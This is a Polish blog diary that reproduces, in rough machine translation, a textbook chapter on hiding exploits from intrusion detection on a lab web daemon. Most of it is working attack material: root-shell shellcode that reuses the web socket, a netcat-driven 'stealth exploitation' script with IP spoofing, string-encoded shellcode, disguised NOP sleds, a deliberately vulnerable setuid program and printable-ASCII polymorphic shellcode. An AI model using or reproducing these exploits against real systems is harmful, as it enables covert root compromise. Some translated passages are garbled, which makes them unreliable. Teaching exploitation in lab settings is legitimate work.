Z Pamiętniczka Młodego Hackerkachacker.pl



Drogi Pamiętniczku …



01.10.2020

Cała infrastruktura

Jak zawsze, szczegóły można ukryć na szerszym obrazie. Pojedynczy host zwykle istnieje w ramach pewnego rodzaju infrastruktury. Środki zaradcze, takie jak systemy wykrywania włamań (IDS) i systemy zapobiegania włamaniom (IPS), mogą wykryć nienormalny ruch sieciowy. Nawet proste pliki dziennika na routerach i zaporach mogą ujawniać nieprawidłowe połączenia, które wskazują na włamanie. W szczególności połączenie z portem 31337 używanym w naszym shellcode jest dużą czerwoną flagą. Możemy zmienić port na coś, co wygląda mniej podejrzanie; jednak, po prostu posiadanie serwera otwierającego połączenia wychodzące może być czerwoną flagą. Bardzo bezpieczna infrastruktura może nawet mieć konfigurację zapory z filtrami wyjściowymi, aby zapobiec połączeniom wychodzącym. W takich sytuacjach otwarcie nowego połączenia jest niemożliwe lub zostanie wykryte.

Ponowne użycie gniazd W naszym przypadku nie ma potrzeby otwierania nowego połączenia, ponieważ mamy już otwarte gniazdo z żądania WWW. Odkąd myszkujemy wewnątrz demona tinyweb, przy niewielkim debugowaniu możemy ponownie wykorzystać istniejące gniazdo dla powłoki roota. Zapobiega to rejestrowaniu dodatkowych połączeń TCP i pozwala na wykorzystanie w przypadkach, gdy host docelowy nie może otworzyć połączeń wychodzących. Spójrz na kod źródłowy z tinywebd.c pokazany poniżej

Z wyjątkiem tinywebd.c

while(1) { // Accept loop

sin_size = sizeof(struct sockaddr_in);

new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

if(new_sockfd == -1)

fatal("accepting connection");

handle_connection(new_sockfd, &client_addr, logfd);

}

return 0;

}

/* This function handles the connection on the passed socket from the

* passed client address and logs to the passed FD. The connection is

* processed as a web request, and this function replies over the connected

* socket. Finally, the passed socket is closed at the end of the function.

*/

void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {

unsigned char *ptr, request[500], resource[500], log_buffer[500];

int fd, length;

length = recv_line(sockfd, request);

Niestety, sockfd przekazane do handle_connection () nieuchronnie zostanie nadpisane, abyśmy mogli nadpisać logfd. To nadpisanie ma miejsce przed uzyskaniem kontroli nad programem w kodzie powłoki, więc nie ma sposobu na odzyskanie poprzedniej wartości sockfd. Na szczęście main () przechowuje kolejną kopię deskryptora pliku gniazda w new_sockfd. new_sockfd.

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd

reader 1284 0.0 0.0 2880 748 pts/1 R+ 23:42 0:00 grep tinywebd

reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ sudo gdb -q-pid=478 --symbols=./a.out

warning: not using untrusted file "/home/reader/.gdbinit"

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

Attaching to process 478

/cow/home/reader/booksrc/tinywebd: No such file or directory.

A program is being debugged already. Kill it? (y or n) n

Program not killed.

(gdb) list handle_connection

77 /* This function handles the connection on the passed socket from the

78 * passed client address and logs to the passed FD. The connection is

79 * processed as a web request, and this function replies over the connected

80 * socket. Finally, the passed socket is closed at the end of the function.

81 */

82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd)

{

83 unsigned char *ptr, request[500], resource[500], log_buffer[500];

84 int fd, length;

85

86 length = recv_line(sockfd, request);

(gdb) break 86

Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.

(gdb) cont

Continuing.

Po ustawieniu punktu przerwania i kontynuowaniu programu narzędzie cichego exploita jest używane z innego terminala do łączenia się i wcześniejszego wykonywania.

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at

tinywebd.c:86

86 length = recv_line(sockfd, request);

(gdb) x/x &sockfd

0xbffff7e0: 0x0000000d

(gdb) x/x &new_sockfd

No symbol "new_sockfd" in current context.

(gdb) bt

#0 handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86

#1 0x08048fb7 in main () at tinywebd.c:72

(gdb) select-frame 1

(gdb) x/x &new_sockfd

0xbffff83c: 0x0000000d

(gdb) quit

The program is running. Quit anyway (and detach it)? (y or n) y

Detaching from program: , process 478

reader@hacking:~/booksrc $



Ten wynik debugowania pokazuje, że new_sockfd jest przechowywany pod 0xbffff83c w ramce stosu głównego. Używając tego, możemy utworzyć kod powłoki, który używa deskryptora pliku gniazda przechowywanego tutaj zamiast tworzenia nowego połączenia. Chociaż możemy po prostu użyć tego adresu bezpośrednio, istnieje wiele małych rzeczy, które mogą przesuwać pamięć stosu. Jeśli tak się stanie, a kod powłoki użyje zakodowanego adresu stosu, exploit zakończy się niepowodzeniem. Aby uczynić kod powłoki bardziej niezawodnym, weź pamięć z tego, jak kompilator obsługuje zmienne stosu. Jeśli użyjemy adresu w stosunku do ESP, to nawet jeśli stos zmieni się nieco, adres new_sockfd będzie nadal poprawny, ponieważ przesunięcie z ESP będzie takie samo. Jak pamiętasz z debugowania za pomocą kodu powłoki mark_break, ESP był 0xbffff7e0. Używając tej wartości dla ESP, przesunięcie jest pokazane jako 0x5c bajtów.

reader@hacking:~/booksrc $ gdb -q

(gdb) print /x 0xbffff83c - 0xbffff7e0

$1 = 0x5c

(gdb)



Poniższy kod powłoki ponownie wykorzystuje istniejące gniazdo dla powłoki głównej.

socket_reuse_restore.s

BITS 32

push BYTE 0x02 ; Fork is syscall #2

pop eax

int 0x80 ; After the fork, in child process eax == 0.

test eax, eax

jz child_process ; In child process spawns a shell.

; In the parent process, restore tinywebd.

lea ebp, [esp+0x68] ; Restore EBP.

push 0x08048fb7 ; Return address.

ret ; Return.

child_process:

; Re-use existing socket.

lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx.

mov ebx, [edx] ; Put the value of new_sockfd in ebx.

push BYTE 0x02

pop ecx ; ecx starts at 2.

xor eax, eax

xor edx, edx

dup_loop:

mov BYTE al, 0x3F ; dup2 syscall #63

int 0x80 ; dup2(c, 0)

dec ecx ; Count down to 0.

jns dup_loop ; If the sign flag is not set, ecx is not negative.

; execve(const char *filename, char *const argv [], char *const envp[])

mov BYTE al, 11 ; execve syscall #11

push edx ; push some nulls for string termination.

push 0x68732f2f ; push "//sh" to the stack.

push 0x6e69622f ; push "/bin" to the stack.

mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.

push edx ; push 32-bit null terminator to stack.

mov edx, esp ; This is an empty array for envp.

push ebx ; push string addr to stack above null terminator.

mov ecx, esp ; This is the argv array with string ptr.

int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

Aby skutecznie korzystać z tego kodu powłoki, potrzebujemy innego narzędzia do wykorzystywania, które pozwala nam wysyłać bufor exploitów, ale utrzymuje gniazdo na dalsze I / O. Ten drugi skrypt exploitów dodaje dodatkowe polecenie cat - na końcu bufora exploitów. Argument dash oznacza standardowe wejście. Uruchamianie cat na standardowym wejściu jest w pewnym sensie bezużyteczne samo w sobie, ale po przekazaniu komendy do netcata skutecznie wiąże standardowe wejście i wyjście z gniazdem sieciowym netcat. Poniższy skrypt łączy się z celem, wysyła bufor exploitów, a następnie utrzymuje gniazdo otwarte i pobiera dalsze dane z terminala. Odbywa się to za pomocą kilku modyfikacji narzędzia cichego exploita.

xtool_tinywebd_reuse.sh

#!/bin/sh

# Silent stealth exploitation tool for tinywebd

# also spoofs IP address stored in memory

# reuses existing socket-use socket_reuse shellcode

SPOOFIP="12.34.56.78"

SPOOFPORT="9090"

if [ -z "$2" ]; then # if argument 2 is blank

echo "Usage: $0 < shellcode file > < target IP >"

exit

fi

FAKEREQUEST="GET / HTTP/1.1\x00"

FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ')

OFFSET=540

RETADDR="\x24\xf6\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0

FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0

echo "target IP: $2"

SIZE=`wc -c $1 | cut -f1 -d ' '`

echo "shellcode: $1 ($SIZE bytes)"

echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"

ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))

echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE]

[ret

addr 128] [*fake_addr 8]"

(perl -e "print \"$FAKEREQUEST\"";

./addr_struct "$SPOOFIP" "$SPOOFPORT";

perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";

cat $1;

perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"";

cat -;) | nc -v $2 80

Kiedy to narzędzie jest używane z kodem powłoki socket_reuse_restore, powłoka roota będzie obsługiwana przy użyciu tego samego gniazda, które jest używane do żądania WWW. Poniższe dane pokazują to reader@hacking:~/booksrc $ nasm socket_reuse_restore.s

reader@hacking:~/booksrc $ hexdump -C socket_reuse_restore

00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.|

00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 31 d2 |..T$\.j.Y1.1.|

00000020 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?.Iy..Rh//shh|

00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin.R.S..|

0000003e

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore 127.0.0.1

target IP: 127.0.0.1

shellcode: socket_reuse_restore (62 bytes)

fake request: "GET / HTTP/1.1\x00" (15 bytes)

[Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8]

localhost [127.0.0.1] 80 (www) open

whoami

root

Wykorzystując istniejące gniazdo, ten exploit jest jeszcze cichszy, ponieważ nie tworzy żadnych dodatkowych połączeń. Mniej połączeń oznacza mniej nieprawidłowości w wykrywaniu wszelkich środków zaradczych.

Powrót

02.10.2020

Przemyt ładunków

Wspomniane systemy sieciowe IDS lub IPS mogą zrobić więcej niż tylko śledzić połączenia - mogą również sprawdzać same pakiety. Zazwyczaj systemy te szukają wzorców, które oznaczałyby atak. Na przykład prosta reguła szukająca pakietów zawierających ciąg / bin / sh złapałaby wiele pakietów zawierających kod powłoki. Nasz ciąg / bin / sh jest już nieco zaciemniony, ponieważ jest przesyłany do stosu w kawałkach czterobajtowych, ale IDS sieci może również szukać pakietów zawierających ciągi / bin i // sh. Tego typu sygnatury sieciowe IDS mogą być dość skuteczne w łapaniu dzieciaków skryptów, którzy używają exploitów pobranych z Internetu. Są one jednak łatwo ominięte przez niestandardowy kod powłoki, który ukrywa wszelkie ciągi znaków.

Powrót

03.10.2020 Kodowanie ciągów

Aby ukryć ciąg, po prostu dodamy 5 do każdego bajtu w ciągu. Następnie, po wypchnięciu ciągu do stosu, kod powłoki odejmie 5 z każdego bajtu ciągu na stosie. Spowoduje to zbudowanie żądanego ciągu na stosie, tak aby mógł być użyty w skorupie kodu, a jednocześnie ukryty podczas transportu. Wyjście poniżej pokazuje obliczanie zakodowanych bajtów

reader@hacking:~/booksrc $ echo "/bin/sh" | hexdump -C

00000000 2f 62 69 6e 2f 73 68 0a |/bin/sh.|

00000008

reader@hacking:~/booksrc $ gdb -q

(gdb) print /x 0x0068732f + 0x05050505

$1 = 0x56d7834

(gdb) print /x 0x6e69622f + 0x05050505

$2 = 0x736e6734

(gdb) quit

reader@hacking:~/booksrc $

Poniższy kod powłoki wypycha zakodowane bajty na stos, a następnie dekoduje je w pętli. Ponadto dwie instrukcje int3 są używane do umieszczania punktów przerwania w kodzie powłoki przed i po dekodowaniu. Jest to łatwy sposób, aby zobaczyć, co dzieje się z GDB.



encoded_sockreuserestore_dbg.s

BITS 32

push BYTE 0x02 ; Fork is syscall #2.

pop eax

int 0x80 ; After the fork, in child process eax == 0.

test eax, eax

jz child_process ; In child process spawns a shell.

; In the parent process, restore tinywebd.

lea ebp, [esp+0x68] ; Restore EBP.

push 0x08048fb7 ; Return address.

ret ; Return

child_process:

; Re-use existing socket.

lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx.

mov ebx, [edx] ; Put the value of new_sockfd in ebx.

push BYTE 0x02

pop ecx ; ecx starts at 2.

xor eax, eax

dup_loop:

mov BYTE al, 0x3F ; dup2 syscall #63

int 0x80 ; dup2(c, 0)

dec ecx ; Count down to 0.

jns dup_loop ; If the sign flag is not set, ecx is not negative

; execve(const char *filename, char *const argv [], char *const envp[])

mov BYTE al, 11 ; execve syscall #11

push 0x056d7834 ; push "/sh\x00" encoded +5 to the stack.

push 0x736e6734 ; push "/bin" encoded +5 to the stack.

mov ebx, esp ; Put the address of encoded "/bin/sh" into ebx.

int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)

push BYTE 0x8 ; Need to decode 8 bytes

pop edx

decode_loop:

sub BYTE [ebx+edx], 0x5

dec edx

jns decode_loop

int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)

xor edx, edx

push edx ; push 32-bit null terminator to stack.

mov edx, esp ; This is an empty array for envp.

push ebx ; push string addr to stack above null terminator.

mov ecx, esp ; This is the argv array with string ptr.

int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

Pętla dekodująca wykorzystuje rejestr EDX jako licznik. Zaczyna się od 8 i odlicza do 0, ponieważ trzeba zdekodować 8 bajtów. Dokładne adresy stosów nie mają znaczenia w tym przypadku, ponieważ wszystkie ważne części są względnie adresowane, więc poniższe dane nie przeszkadzają w dołączaniu do istniejącego procesu tinywebd.

reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ sudo gdb -q ./a.out

warning: not using untrusted file "/home/reader/.gdbinit"

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) set disassembly-flavor intel

(gdb) set follow-fork-mode child

(gdb) run

Starting program: /home/reader/booksrc/a.out

Starting tiny web daemon..

Ponieważ punkty przerwania są w rzeczywistości częścią kodu powłoki, nie ma potrzeby ustawiania jednego z GDB. Z innego terminala kod powłoki jest składany i używany z narzędziem wykorzystującym wielokrotne wykorzystanie gniazd.

Z innego terminala

reader@hacking:~/booksrc $ nasm encoded_sockreuserestore_dbg.s

reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_socketreuserestore_dbg

127.0.0.1

target IP: 127.0.0.1

shellcode: encoded_sockreuserestore_dbg (72 bytes)

fake request: "GET / HTTP/1.1\x00" (15 bytes)

[Fake Request 15] [spoof IP 16] [NOP 313] [shellcode 72] [ret addr 128] [*fake_addr 8]

localhost [127.0.0.1] 80 (www) open

W oknie GDB trafia pierwsza instrukcja int3 w kodzie powłoki. Od tego momentu możemy sprawdzić, czy ciąg dekoduje poprawnie.

Program received signal SIGTRAP, Trace/breakpoint trap.

[Switching to process 12400]

0xbffff6ab in ?? ()

(gdb) x/10i $eip

0xbffff6ab: push 0x8

0xbffff6ad: pop edx

0xbffff6ae: sub BYTE PTR [ebx+edx],0x5

0xbffff6b2: dec edx

0xbffff6b3: jns 0xbffff6ae

0xbffff6b5 int3

0xbffff6b6: xor edx,edx

0xbffff6b8: push edx

0xbffff6b9: mov edx,esp

0xbffff6bb: push ebx

(gdb) x/8c $ebx

0xbffff738: 52 '4' 103 'g' 110 'n' 115 's' 52 '4' 120 'x' 109 'm' 5 '\005'

(gdb) cont

Continuing.

[tcsetpgrp failed in terminal_inferior: Operation not permitted]

Program received signal SIGTRAP, Trace/breakpoint trap.

0xbffff6b6 in ?? ()

(gdb) x/8c $ebx

0xbffff738: 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\0'

(gdb) x/s $ebx

0xbffff738: "/bin/sh"

(gdb)

Teraz, gdy dekodowanie zostało zweryfikowane, instrukcje int3 można usunąć z kodu powłoki. Poniższy wynik pokazuje ostatni używany kod powłoki.

reader@hacking:~/booksrc $ sed -e 's/int3/;int3/g' encoded_sockreuserestore_dbg.s >

encoded_sockreuserestore.s

reader@hacking:~/booksrc $ diff encoded_sockreuserestore_dbg.s encoded_sockreuserestore.s

33c33

< int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)

> ;int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)

42c42

< int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)

> ;int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)

reader@hacking:~/booksrc $ nasm encoded_sockreuserestore.s

reader@hacking:~/booksrc $ hexdump -C encoded_sockreuserestore

00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X....t..l$hh..|

00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 b0 3f |....T$\..j.Y1..?|

00000020 cd 80 49 79 f9 b0 0b 68 34 78 6d 05 68 34 67 6e |..Iy...h4xm.h4gn|

00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 f9 31 d2 52 |s..j.Z.,..Jy.1.R|

00000040 89 e2 53 89 e1 cd 80 |..S....|

00000047

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon..

reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore 127.0.0.1

target IP: 127.0.0.1

shellcode: encoded_sockreuserestore (71 bytes)

fake request: "GET / HTTP/1.1\x00" (15 bytes)

[Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8]

localhost [127.0.0.1] 80 (www) open

whoami

root

Powrót

04.10.2020

Jak ukryć sanki

SOP NOP to kolejna sygnatura łatwa do wykrycia przez sieci IDS i IPSes. Duże bloki 0x90 nie są tak powszechne, więc jeśli mechanizm bezpieczeństwa sieci widzi coś takiego, prawdopodobnie jest to exploit. Aby uniknąć tego podpisu, możemy użyć różnych instrukcji jednobajtowych zamiast NOP. Istnieje kilka jednobajtowych instrukcji - instrukcji przyrostu i dekrementacji dla różnych rejestrów - które są również drukowalnymi znakami ASCII.

inc eax : 0x40 : @

inc ebx : 0x43 : C

inc ecx : 0x41 : A

inc ecx : 0x42 : B

dec eax : 0x48 : H

dec ebx : 0x4B : K

dec ecx : 0x49 : I

dec edx : 0x4A : J

Ponieważ zerujemy te rejestry przed ich użyciem, możemy bezpiecznie użyć losowej kombinacji tych bajtów dla sań NOP. Stworzenie nowego narzędzia exploitów, które wykorzystuje losowe kombinacje bajtów @, C, A, B, H, K, I i J zamiast zwykłego NOP, zostanie pozostawione jako ćwiczenie dla czytelnika. Najłatwiej to zrobić, pisząc program generujący sanie w języku C, który jest używany ze skryptem BASH. Ta modyfikacja ukryje bufor exploitów z IDS, który szuka sanek NOP.



Powrót

05.10.2020

Ograniczenia bufora

Czasami program nakłada pewne ograniczenia na bufory. Ten typ sprawdzania poprawności danych może zapobiec wielu lukom w zabezpieczeniach. Rozważmy następujący przykładowy program, który służy do aktualizacji opisów produktów w fikcyjnej bazie danych. Pierwszy argument to kod produktu, a drugi to zaktualizowany opis. Ten program nie aktualizuje bazy danych, ale ma w niej oczywistą lukę.

update_info.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

#define MAX_ID_LEN 40

#define MAX_DESC_LEN 500

/* Barf a message and exit. */

void barf(char *message, void *extra) { printf(message, extra);



exit(1);

}

/* Pretend this function updates a product description in a database. */

void update_product_description(char *id, char *desc)

{

char product_code[5], description[MAX_DESC_LEN];

printf("[DEBUG]: description is at %p\n", description);

strncpy(description, desc, MAX_DESC_LEN);

strcpy(product_code, id);

printf("Updating product #%s with description \'%s\'\n", product_code, desc);

// Update database

}

int main(int argc, char *argv[], char *envp[]) {

int i;

char *id, *desc;

if(argc < 2) v barf("Usage: %s \n", argv[0]);

id = argv[1]; // id - Product code to update in DB

desc = argv[2]; // desc - Item description to update

if(strlen(id) > MAX_ID_LEN) // id must be less than MAX_ID_LEN bytes.

barf("Fatal: id argument must be less than %u bytes\n", (void *)MAX_ID_LEN);

for(i=0; i < strlen(desc)-1; i++) { // Only allow printable bytes in desc.

if(!(isprint(desc[i])))

barf("Fatal: description argument can only contain printable bytes\n", NULL);

}

// Clearing out the stack memory (security)

// Clearing all arguments except the first and second

memset(argv[0], 0, strlen(argv[0]));

for(i=3; argv[i] != 0; i++)

memset(argv[i], 0, strlen(argv[i]));

// Clearing all environment variables

for(i=0; envp[i] != 0; i++)

memset(envp[i], 0, strlen(envp[i]));

printf("[DEBUG]: desc is at %p\n", desc);

update_product_description(id, desc); // Update database.

}

Pomimo tej luki kod nie podejmuje próby zabezpieczenia. Długość argumentu ID produktu jest ograniczona, a zawartość argumentu opisu jest ograniczona do znaków drukowalnych. Ponadto nieużywane zmienne środowiskowe i argumenty programu są usuwane ze względów bezpieczeństwa. Pierwszy argument (id) jest zbyt mały dla kodu powłoki, a ponieważ reszta pamięci stosu została wyczyszczona, pozostało tylko jedno miejsce.

reader@hacking:~/booksrc $ gcc -o update_info update_info.c

reader@hacking:~/booksrc $ sudo chown root ./update_info

reader@hacking:~/booksrc $ sudo chmod u+s ./update_info

reader@hacking:~/booksrc $ ./update_info

Usage: ./update_info < id > < description >

reader@hacking:~/booksrc $ ./update_info OCP209 "Enforcement Droid"

[DEBUG]: description is at 0xbffff650

Updating product #OCP209 with description 'Enforcement Droid'

reader@hacking:~/booksrc $

reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') blah

[DEBUG]: description is at 0xbffff650

Segmentation fault

reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\xf2\xf9\xff\xbf"x10') $(cat ./

shellcode.bin)

Fatal: description argument can only contain printable bytes

reader@hacking:~/booksrc $



Ten wynik pokazuje przykładowe użycie, a następnie próbuje wykorzystać wrażliwe wywołanie strcpy (). Chociaż adres zwrotny można nadpisać za pomocą pierwszego argumentu (id), jedynym miejscem, w którym możemy umieścić kod powłoki, jest drugi argument (desc). Jednak ten bufor jest sprawdzany pod kątem niedrukowalnych bajtów. Wyjście do debugowania poniżej potwierdza, że ten program może zostać wykorzystany, jeśli istnieje sposób na umieszczenie kodu powłoki w argumencie opisu.

reader@hacking:~/booksrc $ gdb -q ./update_info

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1"

(gdb) run $(perl -e 'print "\xcb\xf9\xff\xbf"x10') blah

The program being debugged has been started already

Start it from the beginning? (y or n) y

Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xcb\xf9\xff\

xbf"x10')

blah

[DEBUG]: desc is at 0xbffff9cb

Updating product # with description 'blah'

Program received signal SIGSEGV, Segmentation fault.

0xbffff9cb in ?? ()

(gdb) i r eip

eip 0xbffff9cb 0xbffff9cb

(gdb) x/s $eip

0xbffff9cb: "blah"

(gdb)

(gdb)

Walidacja danych wejściowych do druku jest jedyną rzeczą, która zatrzymuje wykorzystywanie. Podobnie jak ochrona lotniska, ta pętla sprawdzania danych wejściowych sprawdza wszystko, co nadchodzi. I chociaż nie można uniknąć tego sprawdzenia, istnieją sposoby na przemycenie nielegalnych danych przez strażników

Powrót

06.10.2020

Polymorphic Printable ASCII Shellcode

Polimorficzny kod powłoki odnosi się do dowolnego kodu powłoki, który się zmienia. Kodowanie kodu powłoki z poprzedniej sekcji jest technicznie polimorficzne, ponieważ modyfikuje łańcuch, którego używa podczas działania. Nowe sanki NOP używają instrukcji, które składają się na bajty ASCII, które można wydrukować. Istnieją inne instrukcje, które należą do tego zakresu drukowania (od 0x33 do 0x7e); jednak całkowity zestaw jest właściwie niewielki. Celem jest napisanie kodu powłoki, który przejdzie kontrolę nad drukowalnym znakiem. Próba napisania złożonego kodu powłoki z tak ograniczonym zestawem instrukcji byłaby po prostu masochistyczna, więc zamiast tego kod powłoki do druku użyje prostych metod do zbudowania bardziej złożonego kodu powłoki na stosie. W ten sposób kod powłoki może być w rzeczywistości instrukcją tworzenia prawdziwego kodu powłoki. Pierwszym krokiem jest znalezienie sposobu na wyzerowanie rejestrów. Niestety, instrukcja XOR w różnych rejestrach nie składa się w zakres znaków ASCII do druku. Jedną z opcji jest użycie operacji bitowej AND, która tworzy znak procentu (%) podczas używania rejestru EAX. Instrukcja zespołu i eax, 0x41414141 zostaną połączone w kod maszynowy do wydruku% AAAA, ponieważ 0x41 w szesnastkowy jest drukowalnym znakiem A. Operacja AND przekształca bity w następujący sposób:

1 and 1 = 1

0 and 0 = 0

1 and 0 = 0

0 and 1 = 0

Ponieważ jedynym przypadkiem, w którym wynikiem jest 1, gdy oba bity są 1, jeśli dwie wartości odwrotne są AND na EAX, EAX stanie się zerem.

Binarny : szesnastkowy

1000101010011100100111101001010 : 0x454e4f4a

AND 0111010001100010011000000110101 : I 0x3a313035

------------------------------------ -------------- -

0000000000000000000000000000000 0x00000000

Zatem, wykorzystując dwie drukowane wartości 32-bitowe, które są odwrotnymi bitami siebie, rejestr EAX może być wyzerowany bez użycia żadnych bajtów zerowych, a powstały złożony kod maszynowy będzie tekstem do wydrukowania.

and eax, 0x454e4f4a; Składa się w% JONE

and eax, 0x3a313035; Składa się w% 501:

Więc% JONE% 501: w kodzie maszyny wyzeruje rejestr EAX. Ciekawy. Niektóre inne instrukcje, które składają się na drukowane znaki ASCII, są pokazane w poniższym polu.

sub eax, 0x41414141 -AAAA

push eax P

pop eax X

naciśnij esp T

pop esp

O dziwo, instrukcje te, w połączeniu z instrukcją AND eax, są wystarczające do zbudowania kodu programu ładującego, który wstrzyknie kod powłoki na stos, a następnie go wykona. Ogólna technika polega, po pierwsze, na przywróceniu ESP za wykonującym się kodem ładującym (w wyższych adresach pamięci), a następnie na zbudowaniu kodu powłoki od końca do początku przez pchanie wartości na stos, jak pokazano tutaj. Ponieważ stos rośnie (od wyższych adresów pamięci do niższych adresów pamięci), ESP przesunie się do tyłu, gdy wartości zostaną wypchnięte do stosu, a EIP przesunie się do przodu, gdy wykona się kod ładowania. Ostatecznie EIP i ESP spotkają się, a EIP będzie kontynuował wykonywanie do świeżo zbudowanego kodu powłoki Po pierwsze, ESP musi być ustawiony za kodem powłoki do druku. Trochę debugowania za pomocą GDB pokazuje, że po uzyskaniu kontroli nad wykonywaniem programu ESP ma 555 bajtów przed rozpoczęciem bufora przepełnienia (który będzie zawierał kod programu ładującego). Rejestr ESP musi zostać przeniesiony, aby znajdował się po kodzie programu ładującego, pozostawiając jednocześnie miejsce na nowy kod powłoki i sam kod powłoki loader. Około 300 bajtów powinno być wystarczająco dużo miejsca, więc dodajmy 860 bajtów do ESP, aby umieścić 305 bajtów za początkiem kodu ładującego. Ta wartość nie musi być dokładna, ponieważ w późniejszym terminie zostaną wprowadzone przepisy, które pozwolą na pewne nachylenie. Ponieważ jedyną użyteczną instrukcją jest odejmowanie, można symulować dodawanie, odejmując tyle od rejestru, który otacza. Rejestr ma tylko 32 bity przestrzeni, więc dodanie 860 do rejestru jest takie samo, jak odjęcie 860 od 232 lub 4,294,966,436. Jednak to odejmowanie musi używać tylko wartości drukowanych, więc dzielimy je na trzy instrukcje, z których wszystkie używają operandów do druku.

sub eax, 0x39393333; Składa się w -3399

sub eax, 0x72727550; Składa się w -Purr

sub eax, 0x54545421; Składa się w -! TTT

Jak potwierdza wynik GDB, odjęcie tych trzech wartości od liczby 32-bitowej jest takie samo, jak dodanie do niej 860.

reader@hacking:~/booksrc $ gdb -q

(gdb) print 0 - 0x39393333 - 0x72727550 - 0x54545421

$1 = 860

(gdb)

Celem jest odjęcie tych wartości od ESP, a nie EAX, ale instrukcja sub esp nie składa się w drukowalny znak ASCII. Tak więc bieżąca wartość ESP musi zostać przeniesiona do EAX dla odejmowania, a następnie nowa wartość EAX musi zostać przeniesiona z powrotem do ESP. Jednakże, ponieważ ani mov esp, eax ani mov eax, esp nie są montowane w drukowalne znaki ASCII, wymiana ta musi zostać wykonana przy użyciu stosu. Przesuwając wartość z rejestru źródłowego do stosu, a następnie wyrzucając ją do rejestru docelowego, można uzyskać odpowiednik instrukcji mov dest, instrukcji źródłowej za pomocą źródła push i destrukcyjnego. Na szczęście instrukcje pop i push dla rejestrów EAX i ESP gromadzą się w postaci drukowalnych znaków ASCII, więc wszystko to można wykonać za pomocą drukowalnego ASCII. Oto ostatni zestaw instrukcji, aby dodać 860 do ESP.

push esp ; Assembles into T

pop eax ; Assembles into X

sub eax, 0x39393333 ; Assembles into -3399

sub eax, 0x72727550 ; Assembles into -Purr

sub eax, 0x54545421 ; Assembles into -!TTT

push eax ; Assembles into P

pop esp ; Assembles into \

Oznacza to, że TX-3399-Purr-! TTT-P doda 860 do ESP w kodzie maszynowym. Jak na razie dobrze. Teraz musi zostać zbudowany kod powłoki. Po pierwsze, EAX musi być wyzerowane; jest to łatwe teraz, gdy odkryto metodę. Następnie, używając większej liczby podinstrukcji, rejestr EAX musi być ustawiony na ostatnie cztery bajty kodu powłoki, w odwrotnej kolejności. Ponieważ stos zwykle rośnie w górę (w kierunku niższych adresów pamięci) i buduje z porządkiem FILO, pierwszą wartością wypychaną do stosu muszą być cztery ostatnie bajty kodu powłoki. Te bajty muszą być w odwrotnej kolejności, z powodu kolejności bajtów w małym endianie. Poniższy wynik pokazuje szesnastkowy zrzut standardowego kodu powłoki używanego w poprzednich rozdziałach, który zostanie zbudowany przez kod programu ładującego do druku.

reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin

00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|

00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|

